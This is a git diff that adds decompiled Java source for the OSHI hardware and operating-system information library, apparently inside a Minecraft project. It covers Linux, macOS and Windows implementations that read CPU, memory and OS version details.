+      CentralProcessor cpu = null;
+      while (in.hasNext()) {
+        String toBeAnalyzed = in.next();
+        if (toBeAnalyzed.equals("")) {
+          if (cpu != null) {
+            processors.add(cpu);
+          }
+          cpu = null;
+        }
+        else {
+          if (cpu == null) {
+            cpu = new CentralProcessor();
+          }
+          if (toBeAnalyzed.startsWith("model name\t")) {
+            cpu.setName(toBeAnalyzed.split("\\s+:\\s")[1]);
+
+
+          }
+          else if (toBeAnalyzed.startsWith("flags\t")) {
+            String[] flags = toBeAnalyzed.split("\\s+:\\s")[1].split(" ");
+            boolean found = false;
+            for (String flag : flags) {
+              if (flag.equalsIgnoreCase("LM")) {
+                found = true;
+                break;
+              }
+            }
+            cpu.setCpu64(found);
+
+          }
+          else if (toBeAnalyzed.startsWith("cpu family\t")) {
+            cpu.setFamily(toBeAnalyzed.split("\\s+:\\s")[1]);
+
+
+          }
+          else if (toBeAnalyzed.startsWith("model\t")) {
+            cpu.setModel(toBeAnalyzed.split("\\s+:\\s")[1]);
+
+
+          }
+          else if (toBeAnalyzed.startsWith("stepping\t")) {
+            cpu.setStepping(toBeAnalyzed.split("\\s+:\\s")[1]);
+
+
+          }
+          else if (toBeAnalyzed.startsWith("vendor_id")) {
+            cpu.setVendor(toBeAnalyzed.split("\\s+:\\s")[1]);
+          }
+        }
+      }
+      in.close();
+      if (cpu != null) {
+        processors.add(cpu);
+      }
+      _processors = ((Processor[])processors.toArray(new Processor[0]));
+    }
+    
+    return _processors;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/linux/LinuxOperatingSystem.java b/src/minecraft/oshi/software/os/linux/LinuxOperatingSystem.java
new file mode 100644
index 0000000..6065d1e
--- /dev/null
+++ b/src/minecraft/oshi/software/os/linux/LinuxOperatingSystem.java
@@ -0,0 +1,73 @@
+package oshi.software.os.linux;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.Scanner;
+import oshi.software.os.OperatingSystem;
+import oshi.software.os.OperatingSystemVersion;
+import oshi.software.os.linux.proc.OSVersionInfoEx;
+
+
+
+
+
+
+
+
+
+
+
+
+public class LinuxOperatingSystem
+  implements OperatingSystem
+{
+  public LinuxOperatingSystem() {}
+  
+  private OperatingSystemVersion _version = null;
+  private String _family = null;
+  
+  public String getFamily() {
+    if (_family == null)
+    {
+      try {
+        in = new Scanner(new FileReader("/etc/os-release"));
+      } catch (FileNotFoundException e) { Scanner in;
+        return ""; }
+      Scanner in;
+      in.useDelimiter("\n");
+      while (in.hasNext()) {
+        String[] splittedLine = in.next().split("=");
+        if (splittedLine[0].equals("NAME"))
+        {
+
+          _family = splittedLine[1].replaceAll("^\"|\"$", "");
+          break;
+        }
+      }
+      in.close();
+    }
+    return _family;
+  }
+  
+  public String getManufacturer() {
+    return "GNU/Linux";
+  }
+  
+  public OperatingSystemVersion getVersion() {
+    if (_version == null) {
+      _version = new OSVersionInfoEx();
+    }
+    return _version;
+  }
+  
+  public String toString()
+  {
+    StringBuilder sb = new StringBuilder();
+    sb.append(getManufacturer());
+    sb.append(" ");
+    sb.append(getFamily());
+    sb.append(" ");
+    sb.append(getVersion().toString());
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/linux/proc/CentralProcessor.java b/src/minecraft/oshi/software/os/linux/proc/CentralProcessor.java
new file mode 100644
index 0000000..6728fd7
--- /dev/null
+++ b/src/minecraft/oshi/software/os/linux/proc/CentralProcessor.java
@@ -0,0 +1,196 @@
+package oshi.software.os.linux.proc;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.Scanner;
+import oshi.hardware.Processor;
+import oshi.util.FormatUtil;
+
+
+
+
+
+
+
+
+
+
+
+public class CentralProcessor
+  implements Processor
+{
+  private String _vendor;
+  private String _name;
+  private String _identifier = null;
+  
+  private String _stepping;
+  
+  private String _model;
+  private String _family;
+  private boolean _cpu64;
+  
+  public CentralProcessor() {}
+  
+  public String getVendor()
+  {
+    return _vendor;
+  }
+  
+
+
+
+
+
+  public void setVendor(String vendor)
+  {
+    _vendor = vendor;
+  }
+  
+
+
+
+
+  public String getName()
+  {
+    return _name;
+  }
+  
+
+
+
+
+
+  public void setName(String name)
+  {
+    _name = name;
+  }
+  
+
+
+
+
+  public String getIdentifier()
+  {
+    if (_identifier == null) {
+      StringBuilder sb = new StringBuilder();
+      if (getVendor().contentEquals("GenuineIntel")) {
+        sb.append(isCpu64bit() ? "Intel64" : "x86");
+      } else
+        sb.append(getVendor());
+      sb.append(" Family ");
+      sb.append(getFamily());
+      sb.append(" Model ");
+      sb.append(getModel());
+      sb.append(" Stepping ");
+      sb.append(getStepping());
+      _identifier = sb.toString();
+    }
+    return _identifier;
+  }
+  
+
+
+
+
+
+  public void setIdentifier(String identifier)
+  {
+    _identifier = identifier;
+  }
+  
+
+
+
+
+  public boolean isCpu64bit()
+  {
+    return _cpu64;
+  }
+  
+
+
+
+
+
+  public void setCpu64(boolean cpu64)
+  {
+    _cpu64 = cpu64;
+  }
+  
+
+
+  public String getStepping()
+  {
+    return _stepping;
+  }
+  
+
+
+
+  public void setStepping(String _stepping)
+  {
+    this._stepping = _stepping;
+  }
+  
+
+
+  public String getModel()
+  {
+    return _model;
+  }
+  
+
+
+
+  public void setModel(String _model)
+  {
+    this._model = _model;
+  }
+  
+
+
+  public String getFamily()
+  {
+    return _family;
+  }
+  
+
+
+
+  public void setFamily(String _family)
+  {
+    this._family = _family;
+  }
+  
+
+
+  public float getLoad()
+  {
+    Scanner in = null;
+    try {
+      in = new Scanner(new FileReader("/proc/stat"));
+    } catch (FileNotFoundException e) {
+      System.err.println("Problem with: /proc/stat");
+      System.err.println(e.getMessage());
+      return -1.0F;
+    }
+    in.useDelimiter("\n");
+    String[] result = in.next().split(" ");
+    ArrayList<Float> loads = new ArrayList();
+    for (String load : result) {
+      if (load.matches("-?\\d+(\\.\\d+)?")) {
+        loads.add(Float.valueOf(load));
+      }
+    }
+    
+    float totalCpuLoad = (((Float)loads.get(0)).floatValue() + ((Float)loads.get(2)).floatValue()) * 100.0F / (((Float)loads.get(0)).floatValue() + ((Float)loads.get(2)).floatValue() + ((Float)loads.get(3)).floatValue());
+    return FormatUtil.round(totalCpuLoad, 2);
+  }
+  
+  public String toString()
+  {
+    return getName();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/linux/proc/GlobalMemory.java b/src/minecraft/oshi/software/os/linux/proc/GlobalMemory.java
new file mode 100644
index 0000000..1865aee
--- /dev/null
+++ b/src/minecraft/oshi/software/os/linux/proc/GlobalMemory.java
@@ -0,0 +1,76 @@
+package oshi.software.os.linux.proc;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.Scanner;
+import oshi.hardware.Memory;
+
+
+
+
+
+
+
+
+
+
+
+public class GlobalMemory
+  implements Memory
+{
+  public GlobalMemory() {}
+  
+  private long totalMemory = 0L;
+  
+  public long getAvailable() {
+    long returnCurrentUsageMemory = 0L;
+    Scanner in = null;
+    try {
+      in = new Scanner(new FileReader("/proc/meminfo"));
+    } catch (FileNotFoundException e) {
+      return returnCurrentUsageMemory;
+    }
+    in.useDelimiter("\n");
+    while (in.hasNext()) {
+      String checkLine = in.next();
+      if ((checkLine.startsWith("MemFree:")) || (checkLine.startsWith("MemAvailable:"))) {
+        String[] memorySplit = checkLine.split("\\s+");
+        returnCurrentUsageMemory = new Long(memorySplit[1]).longValue();
+        if (memorySplit[2].equals("kB")) {
+          returnCurrentUsageMemory *= 1024L;
+        }
+        if (memorySplit[0].equals("MemAvailable:")) {
+          break;
+        }
+      }
+    }
+    in.close();
+    return returnCurrentUsageMemory;
+  }
+  
+  public long getTotal() {
+    if (totalMemory == 0L) {
+      Scanner in = null;
+      try {
+        in = new Scanner(new FileReader("/proc/meminfo"));
+      } catch (FileNotFoundException e) {
+        totalMemory = 0L;
+        return totalMemory;
+      }
+      in.useDelimiter("\n");
+      while (in.hasNext()) {
+        String checkLine = in.next();
+        if (checkLine.startsWith("MemTotal:")) {
+          String[] memorySplit = checkLine.split("\\s+");
+          totalMemory = new Long(memorySplit[1]).longValue();
+          if (!memorySplit[2].equals("kB")) break;
+          totalMemory *= 1024L; break;
+        }
+      }
+      
+
+      in.close();
+    }
+    return totalMemory;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/linux/proc/OSVersionInfoEx.java b/src/minecraft/oshi/software/os/linux/proc/OSVersionInfoEx.java
new file mode 100644
index 0000000..59b29a4
--- /dev/null
+++ b/src/minecraft/oshi/software/os/linux/proc/OSVersionInfoEx.java
@@ -0,0 +1,105 @@
+package oshi.software.os.linux.proc;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.Scanner;
+import oshi.software.os.OperatingSystemVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OSVersionInfoEx
+  implements OperatingSystemVersion
+{
+  private String _version = null;
+  private String _codeName = null;
+  private String version = null;
+  
+  public OSVersionInfoEx() {
+    Scanner in = null;
+    try {
+      in = new Scanner(new FileReader("/etc/os-release"));
+    } catch (FileNotFoundException e) {
+      return;
+    }
+    in.useDelimiter("\n");
+    while (in.hasNext()) {
+      String[] splittedLine = in.next().split("=");
+      if (splittedLine[0].equals("VERSION_ID"))
+      {
+
+        setVersion(splittedLine[1].replaceAll("^\"|\"$", ""));
+      }
+      if (splittedLine[0].equals("VERSION"))
+      {
+        splittedLine[1] = splittedLine[1].replaceAll("^\"|\"$", "");
+        
+
+
+
+
+
+        String[] split = splittedLine[1].split("[()]");
+        if (split.length <= 1)
+        {
+
+          split = splittedLine[1].split(", ");
+        }
+        if (split.length > 1) {
+          setCodeName(split[1]);
+        } else
+          setCodeName(splittedLine[1]);
+      }
+    }
+    in.close();
+  }
+  
+
+
+  public String getCodeName()
+  {
+    return _codeName;
+  }
+  
+
+
+  public String getVersion()
+  {
+    return _version;
+  }
+  
+
+
+
+  public void setCodeName(String _codeName)
+  {
+    this._codeName = _codeName;
+  }
+  
+
+
+
+  public void setVersion(String _version)
+  {
+    this._version = _version;
+  }
+  
+  public String toString()
+  {
+    if (version == null) {
+      version = (getVersion() + " (" + getCodeName() + ")");
+    }
+    return version;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/mac/MacHardwareAbstractionLayer.java b/src/minecraft/oshi/software/os/mac/MacHardwareAbstractionLayer.java
new file mode 100644
index 0000000..a44e791
--- /dev/null
+++ b/src/minecraft/oshi/software/os/mac/MacHardwareAbstractionLayer.java
@@ -0,0 +1,56 @@
+package oshi.software.os.mac;
+
+import java.util.ArrayList;
+import java.util.List;
+import oshi.hardware.HardwareAbstractionLayer;
+import oshi.hardware.Memory;
+import oshi.hardware.Processor;
+import oshi.software.os.mac.local.CentralProcessor;
+import oshi.software.os.mac.local.GlobalMemory;
+import oshi.util.ExecutingCommand;
+
+
+
+
+
+
+
+
+
+
+public class MacHardwareAbstractionLayer
+  implements HardwareAbstractionLayer
+{
+  private Processor[] _processors;
+  private Memory _memory;
+  
+  public MacHardwareAbstractionLayer() {}
+  
+  public Processor[] getProcessors()
+  {
+    if (_processors == null) {
+      List<Processor> processors = new ArrayList();
+      int nbCPU = new Integer(
+        ExecutingCommand.getFirstAnswer("sysctl -n hw.logicalcpu")).intValue();
+      
+      for (int i = 0; i < nbCPU; i++) {
+        processors.add(new CentralProcessor());
+      }
+      _processors = ((Processor[])processors.toArray(new Processor[0]));
+    }
+    return _processors;
+  }
+  
+
+
+
+
+
+  public Memory getMemory()
+  {
+    if (_memory == null) {
+      _memory = new GlobalMemory();
+    }
+    return _memory;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/mac/MacOperatingSystem.java b/src/minecraft/oshi/software/os/mac/MacOperatingSystem.java
new file mode 100644
index 0000000..cfde81d
--- /dev/null
+++ b/src/minecraft/oshi/software/os/mac/MacOperatingSystem.java
@@ -0,0 +1,47 @@
+package oshi.software.os.mac;
+
+import oshi.software.os.OperatingSystem;
+import oshi.software.os.OperatingSystemVersion;
+import oshi.software.os.mac.local.OSVersionInfoEx;
+import oshi.util.ExecutingCommand;
+
+
+
+
+public class MacOperatingSystem
+  implements OperatingSystem
+{
+  private String _family;
+  
+  public MacOperatingSystem() {}
+  
+  private OperatingSystemVersion _version = null;
+  
+  public OperatingSystemVersion getVersion() {
+    if (_version == null) {
+      _version = new OSVersionInfoEx();
+    }
+    return _version;
+  }
+  
+  public String getFamily() {
+    if (_family == null) {
+      _family = ExecutingCommand.getFirstAnswer("sw_vers -productName");
+    }
+    return _family;
+  }
+  
+  public String getManufacturer() {
+    return "Apple";
+  }
+  
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append(getManufacturer());
+    sb.append(" ");
+    sb.append(getFamily());
+    sb.append(" ");
+    sb.append(getVersion().toString());
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/mac/local/CentralProcessor.java b/src/minecraft/oshi/software/os/mac/local/CentralProcessor.java
new file mode 100644
index 0000000..6d4a12c
--- /dev/null
+++ b/src/minecraft/oshi/software/os/mac/local/CentralProcessor.java
@@ -0,0 +1,197 @@
+package oshi.software.os.mac.local;
+
+import java.util.ArrayList;
+import oshi.hardware.Processor;
+import oshi.util.ExecutingCommand;
+
+
+
+
+
+
+
+
+
+
+
+
+public class CentralProcessor
+  implements Processor
+{
+  private String _vendor;
+  private String _name;
+  private String _identifier = null;
+  
+  private String _stepping;
+  
+  private String _model;
+  private String _family;
+  private Boolean _cpu64;
+  
+  public CentralProcessor() {}
+  
+  public String getVendor()
+  {
+    if (_vendor == null)
+      _vendor = ExecutingCommand.getFirstAnswer("sysctl -n machdep.cpu.vendor");
+    return _vendor;
+  }
+  
+
+
+
+
+
+  public void setVendor(String vendor)
+  {
+    _vendor = vendor;
+  }
+  
+
+
+
+
+  public String getName()
+  {
+    if (_name == null)
+      _name = ExecutingCommand.getFirstAnswer("sysctl -n machdep.cpu.brand_string");
+    return _name;
+  }
+  
+
+
+
+
+
+  public void setName(String name)
+  {
+    _name = name;
+  }
+  
+
+
+
+
+  public String getIdentifier()
+  {
+    if (_identifier == null) {
+      StringBuilder sb = new StringBuilder();
+      if (getVendor().contentEquals("GenuineIntel")) {
+        sb.append(isCpu64bit() ? "Intel64" : "x86");
+      } else
+        sb.append(getVendor());
+      sb.append(" Family ");
+      sb.append(getFamily());
+      sb.append(" Model ");
+      sb.append(getModel());
+      sb.append(" Stepping ");
+      sb.append(getStepping());
+      _identifier = sb.toString();
+    }
+    return _identifier;
+  }
+  
+
+
+
+
+
+  public void setIdentifier(String identifier)
+  {
+    _identifier = identifier;
+  }
+  
+
+
+
+
+  public boolean isCpu64bit()
+  {
+    if (_cpu64 == null) {
+      _cpu64 = Boolean.valueOf(ExecutingCommand.getFirstAnswer("sysctl -n hw.cpu64bit_capable")
+        .equals("1"));
+    }
+    return _cpu64.booleanValue();
+  }
+  
+
+
+
+
+
+  public void setCpu64(boolean cpu64)
+  {
+    _cpu64 = Boolean.valueOf(cpu64);
+  }
+  
+
+
+  public String getStepping()
+  {
+    if (_stepping == null)
+    {
+      _stepping = ExecutingCommand.getFirstAnswer("sysctl -n machdep.cpu.stepping"); }
+    return _stepping;
+  }
+  
+
+
+
+  public void setStepping(String _stepping)
+  {
+    this._stepping = _stepping;
+  }
+  
+
+
+  public String getModel()
+  {
+    if (_model == null)
+    {
+      _model = ExecutingCommand.getFirstAnswer("sysctl -n machdep.cpu.model");
+    }
+    
+    return _model;
+  }
+  
+
+
+
+  public void setModel(String _model)
+  {
+    this._model = _model;
+  }
+  
+
+
+  public String getFamily()
+  {
+    if (_family == null)
+    {
+      _family = ExecutingCommand.getFirstAnswer("sysctl -n machdep.cpu.family");
+    }
+    return _family;
+  }
+  
+
+
+
+  public void setFamily(String _family)
+  {
+    this._family = _family;
+  }
+  
+
+
+  public float getLoad()
+  {
+    ArrayList<String> topResult = ExecutingCommand.runNative("top -l 1 -R -F -n1");
+    String[] idle = ((String)topResult.get(3)).split(" ");
+    return 100.0F - Float.valueOf(idle[6].replace("%", "")).floatValue();
+  }
+  
+  public String toString()
+  {
+    return getName();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/mac/local/GlobalMemory.java b/src/minecraft/oshi/software/os/mac/local/GlobalMemory.java
new file mode 100644
index 0000000..ad0d8c8
--- /dev/null
+++ b/src/minecraft/oshi/software/os/mac/local/GlobalMemory.java
@@ -0,0 +1,43 @@
+package oshi.software.os.mac.local;
+
+import oshi.hardware.Memory;
+import oshi.util.ExecutingCommand;
+
+
+
+
+
+
+
+
+
+
+public class GlobalMemory
+  implements Memory
+{
+  public GlobalMemory() {}
+  
+  private long totalMemory = 0L;
+  
+  public long getAvailable() {
+    long returnCurrentUsageMemory = 0L;
+    for (String line : ExecutingCommand.runNative("vm_stat")) {
+      if (line.startsWith("Pages free:")) {
+        String[] memorySplit = line.split(":\\s+");
+        returnCurrentUsageMemory += new Long(memorySplit[1].replace(".", "")).longValue();
+      } else if (line.startsWith("Pages speculative:")) {
+        String[] memorySplit = line.split(":\\s+");
+        returnCurrentUsageMemory += new Long(memorySplit[1].replace(".", "")).longValue();
+      }
+    }
+    returnCurrentUsageMemory *= 4096L;
+    return returnCurrentUsageMemory;
+  }
+  
+  public long getTotal() {
+    if (totalMemory == 0L) {
+      totalMemory = new Long(ExecutingCommand.getFirstAnswer("sysctl -n hw.memsize")).longValue();
+    }
+    return totalMemory;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/mac/local/OSVersionInfoEx.java b/src/minecraft/oshi/software/os/mac/local/OSVersionInfoEx.java
new file mode 100644
index 0000000..7e2a833
--- /dev/null
+++ b/src/minecraft/oshi/software/os/mac/local/OSVersionInfoEx.java
@@ -0,0 +1,111 @@
+package oshi.software.os.mac.local;
+
+import oshi.software.os.OperatingSystemVersion;
+import oshi.util.ExecutingCommand;
+
+
+
+
+public class OSVersionInfoEx
+  implements OperatingSystemVersion
+{
+  private String _version = null;
+  private String _codeName = null;
+  private String version = null;
+  private String _buildNumber = null;
+  
+
+
+  public OSVersionInfoEx() {}
+  
+
+  public String getVersion()
+  {
+    if (_version == null)
+    {
+      _version = ExecutingCommand.getFirstAnswer("sw_vers -productVersion");
+    }
+    return _version;
+  }
+  
+
+
+
+  public void setVersion(String _version)
+  {
+    this._version = _version;
+  }
+  
+
+
+  public String getCodeName()
+  {
+    if ((_codeName == null) && 
+      (getVersion() != null)) {
+      if (("10.0".equals(getVersion())) || 
+        (getVersion().startsWith("10.0."))) {
+        _codeName = "Cheetah";
+      } else if (("10.1".equals(getVersion())) || 
+        (getVersion().startsWith("10.1."))) {
+        _codeName = "Puma";
+      } else if (("10.2".equals(getVersion())) || 
+        (getVersion().startsWith("10.2."))) {
+        _codeName = "Jaguar";
+      } else if (("10.3".equals(getVersion())) || 
+        (getVersion().startsWith("10.3."))) {
+        _codeName = "Panther";
+      } else if (("10.4".equals(getVersion())) || 
+        (getVersion().startsWith("10.4."))) {
+        _codeName = "Tiger";
+      } else if (("10.5".equals(getVersion())) || 
+        (getVersion().startsWith("10.5."))) {
+        _codeName = "Leopard";
+      } else if (("10.6".equals(getVersion())) || 
+        (getVersion().startsWith("10.6."))) {
+        _codeName = "Snow Leopard";
+      } else if (("10.7".equals(getVersion())) || 
+        (getVersion().startsWith("10.7."))) {
+        _codeName = "Lion";
+      } else if (("10.8".equals(getVersion())) || 
+        (getVersion().startsWith("10.8."))) {
+        _codeName = "Mountain Lion";
+      } else if (("10.9".equals(getVersion())) || 
+        (getVersion().startsWith("10.9."))) {
+        _codeName = "Mavericks";
+      } else if (("10.10".equals(getVersion())) || 
+        (getVersion().startsWith("10.10."))) {
+        _codeName = "Yosemite";
+      }
+    }
+    return _codeName;
+  }
+  
+
+
+
+  public void setCodeName(String _codeName)
+  {
+    this._codeName = _codeName;
+  }
+  
+  public String getBuildNumber() {
+    if (_buildNumber == null)
+    {
+      _buildNumber = ExecutingCommand.getFirstAnswer("sw_vers -buildVersion");
+    }
+    return _buildNumber;
+  }
+  
+  public void setBuildNumber(String buildNumber) {
+    _buildNumber = buildNumber;
+  }
+  
+  public String toString()
+  {
+    if (version == null)
+    {
+      version = (getVersion() + " (" + getCodeName() + ") build " + getBuildNumber());
+    }
+    return version;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/WindowsHardwareAbstractionLayer.java b/src/minecraft/oshi/software/os/windows/WindowsHardwareAbstractionLayer.java
new file mode 100644
index 0000000..f73f967
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/WindowsHardwareAbstractionLayer.java
@@ -0,0 +1,50 @@
+package oshi.software.os.windows;
+
+import com.sun.jna.platform.win32.Advapi32Util;
+import com.sun.jna.platform.win32.WinReg;
+import java.util.ArrayList;
+import java.util.List;
+import oshi.hardware.HardwareAbstractionLayer;
+import oshi.hardware.Memory;
+import oshi.hardware.Processor;
+import oshi.software.os.windows.nt.CentralProcessor;
+import oshi.software.os.windows.nt.GlobalMemory;
+
+public class WindowsHardwareAbstractionLayer
+  implements HardwareAbstractionLayer
+{
+  public WindowsHardwareAbstractionLayer() {}
+  
+  private Processor[] _processors = null;
+  private Memory _memory = null;
+  
+  public Memory getMemory() {
+    if (_memory == null) {
+      _memory = new GlobalMemory();
+    }
+    return _memory;
+  }
+  
+  public Processor[] getProcessors()
+  {
+    if (_processors == null) {
+      String cpuRegistryRoot = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor";
+      List<Processor> processors = new ArrayList();
+      String[] processorIds = Advapi32Util.registryGetKeys(WinReg.HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor");
+      for (String processorId : processorIds) {
+        String cpuRegistryPath = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" + processorId;
+        CentralProcessor cpu = new CentralProcessor();
+        cpu.setIdentifier(Advapi32Util.registryGetStringValue(WinReg.HKEY_LOCAL_MACHINE, cpuRegistryPath, "Identifier"));
+        
+        cpu.setName(Advapi32Util.registryGetStringValue(WinReg.HKEY_LOCAL_MACHINE, cpuRegistryPath, "ProcessorNameString"));
+        
+        cpu.setVendor(Advapi32Util.registryGetStringValue(WinReg.HKEY_LOCAL_MACHINE, cpuRegistryPath, "VendorIdentifier"));
+        
+        processors.add(cpu);
+      }
+      _processors = ((Processor[])processors.toArray(new Processor[0]));
+    }
+    
+    return _processors;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/WindowsOperatingSystem.java b/src/minecraft/oshi/software/os/windows/WindowsOperatingSystem.java
new file mode 100644
index 0000000..00fe465
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/WindowsOperatingSystem.java
@@ -0,0 +1,47 @@
+package oshi.software.os.windows;
+
+import oshi.software.os.OperatingSystem;
+import oshi.software.os.OperatingSystemVersion;
+import oshi.software.os.windows.nt.OSVersionInfoEx;
+
+
+
+
+
+
+
+
+
+
+public class WindowsOperatingSystem
+  implements OperatingSystem
+{
+  public WindowsOperatingSystem() {}
+  
+  private OperatingSystemVersion _version = null;
+  
+  public OperatingSystemVersion getVersion() {
+    if (_version == null) {
+      _version = new OSVersionInfoEx();
+    }
+    return _version;
+  }
+  
+  public String getFamily() {
+    return "Windows";
+  }
+  
+  public String getManufacturer() {
+    return "Microsoft";
+  }
+  
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append(getManufacturer());
+    sb.append(" ");
+    sb.append(getFamily());
+    sb.append(" ");
+    sb.append(getVersion().toString());
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/nt/CentralProcessor.java b/src/minecraft/oshi/software/os/windows/nt/CentralProcessor.java
new file mode 100644
index 0000000..3a5aa49
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/nt/CentralProcessor.java
@@ -0,0 +1,149 @@
+package oshi.software.os.windows.nt;
+
+import oshi.hardware.Processor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CentralProcessor
+  implements Processor
+{
+  private String _vendor;
+  private String _name;
+  private String _identifier;
+  
+  public CentralProcessor() {}
+  
+  public String getVendor()
+  {
+    return _vendor;
+  }
+  
+
+
+
+
+  public void setVendor(String vendor)
+  {
+    _vendor = vendor;
+  }
+  
+
+
+
+
+  public String getName()
+  {
+    return _name;
+  }
+  
+
+
+
+
+  public void setName(String name)
+  {
+    _name = name;
+  }
+  
+
+
+
+
+  public String getIdentifier()
+  {
+    return _identifier;
+  }
+  
+
+
+
+
+  public void setIdentifier(String identifier)
+  {
+    _identifier = identifier;
+  }
+  
+
+
+  public boolean isCpu64bit()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public void setCpu64(boolean cpu64)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public String getStepping()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public void setStepping(String _stepping)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public String getModel()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public void setModel(String _model)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public String getFamily()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public void setFamily(String _family)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public float getLoad()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+  public String toString()
+  {
+    return _name;
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/nt/GlobalMemory.java b/src/minecraft/oshi/software/os/windows/nt/GlobalMemory.java
new file mode 100644
index 0000000..c32a731
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/nt/GlobalMemory.java
@@ -0,0 +1,36 @@
+package oshi.software.os.windows.nt;
+
+import com.sun.jna.platform.win32.Kernel32;
+import com.sun.jna.platform.win32.Win32Exception;
+import com.sun.jna.platform.win32.WinBase.MEMORYSTATUSEX;
+import com.sun.jna.platform.win32.WinDef.DWORDLONG;
+import oshi.hardware.Memory;
+
+
+
+
+
+
+
+
+
+
+public class GlobalMemory
+  implements Memory
+{
+  WinBase.MEMORYSTATUSEX _memory = new WinBase.MEMORYSTATUSEX();
+  
+  public GlobalMemory() {
+    if (!Kernel32.INSTANCE.GlobalMemoryStatusEx(_memory)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+  }
+  
+  public long getAvailable() {
+    return _memory.ullAvailPhys.longValue();
+  }
+  
+  public long getTotal() {
+    return _memory.ullTotalPhys.longValue();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/nt/OSNativeSystemInfo.java b/src/minecraft/oshi/software/os/windows/nt/OSNativeSystemInfo.java
new file mode 100644
index 0000000..fc08dbb
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/nt/OSNativeSystemInfo.java
@@ -0,0 +1,54 @@
+package oshi.software.os.windows.nt;
+
+import com.sun.jna.platform.win32.Kernel32;
+import com.sun.jna.platform.win32.WinBase.SYSTEM_INFO;
+import com.sun.jna.platform.win32.WinDef.DWORD;
+import com.sun.jna.platform.win32.WinNT.HANDLE;
+import com.sun.jna.ptr.IntByReference;
+
+
+
+
+
+
+
+
+
+
+public class OSNativeSystemInfo
+{
+  private WinBase.SYSTEM_INFO _si = null;
+  
+  public OSNativeSystemInfo()
+  {
+    WinBase.SYSTEM_INFO si = new WinBase.SYSTEM_INFO();
+    Kernel32.INSTANCE.GetSystemInfo(si);
+    try
+    {
+      IntByReference isWow64 = new IntByReference();
+      WinNT.HANDLE hProcess = Kernel32.INSTANCE.GetCurrentProcess();
+      if ((Kernel32.INSTANCE.IsWow64Process(hProcess, isWow64)) && 
+        (isWow64.getValue() > 0)) {
+        Kernel32.INSTANCE.GetNativeSystemInfo(si);
+      }
+    }
+    catch (UnsatisfiedLinkError e) {}
+    
+
+
+    _si = si;
+  }
+  
+  public OSNativeSystemInfo(WinBase.SYSTEM_INFO si) {
+    _si = si;
+  }
+  
+
+
+
+
+  public int getNumberOfProcessors()
+  {
+    return _si.dwNumberOfProcessors.intValue();
+  }
+}
diff --git a/src/minecraft/oshi/software/os/windows/nt/OSVersionInfoEx.java b/src/minecraft/oshi/software/os/windows/nt/OSVersionInfoEx.java
new file mode 100644
index 0000000..0a43669
--- /dev/null
+++ b/src/minecraft/oshi/software/os/windows/nt/OSVersionInfoEx.java
@@ -0,0 +1,282 @@
+package oshi.software.os.windows.nt;
+
+import com.sun.jna.Native;
+import com.sun.jna.platform.win32.Advapi32Util;
+import com.sun.jna.platform.win32.Kernel32;
+import com.sun.jna.platform.win32.User32;
+import com.sun.jna.platform.win32.Win32Exception;
+import com.sun.jna.platform.win32.WinDef.DWORD;
+import com.sun.jna.platform.win32.WinDef.WORD;
+import com.sun.jna.platform.win32.WinNT.OSVERSIONINFOEX;
+import com.sun.jna.platform.win32.WinReg;
+import oshi.software.os.OperatingSystemVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+public class OSVersionInfoEx
+  implements OperatingSystemVersion
+{
+  private WinNT.OSVERSIONINFOEX _versionInfo;
+  
+  public OSVersionInfoEx()
+  {
+    _versionInfo = new WinNT.OSVERSIONINFOEX();
+    if (!Kernel32.INSTANCE.GetVersionEx(_versionInfo)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getMajor()
+  {
+    return _versionInfo.dwMajorVersion.intValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getMinor()
+  {
+    return _versionInfo.dwMinorVersion.intValue();
+  }
+  
+
+
+
+
+  public int getBuildNumber()
+  {
+    return _versionInfo.dwBuildNumber.intValue();
+  }
+  
+
+
+
+
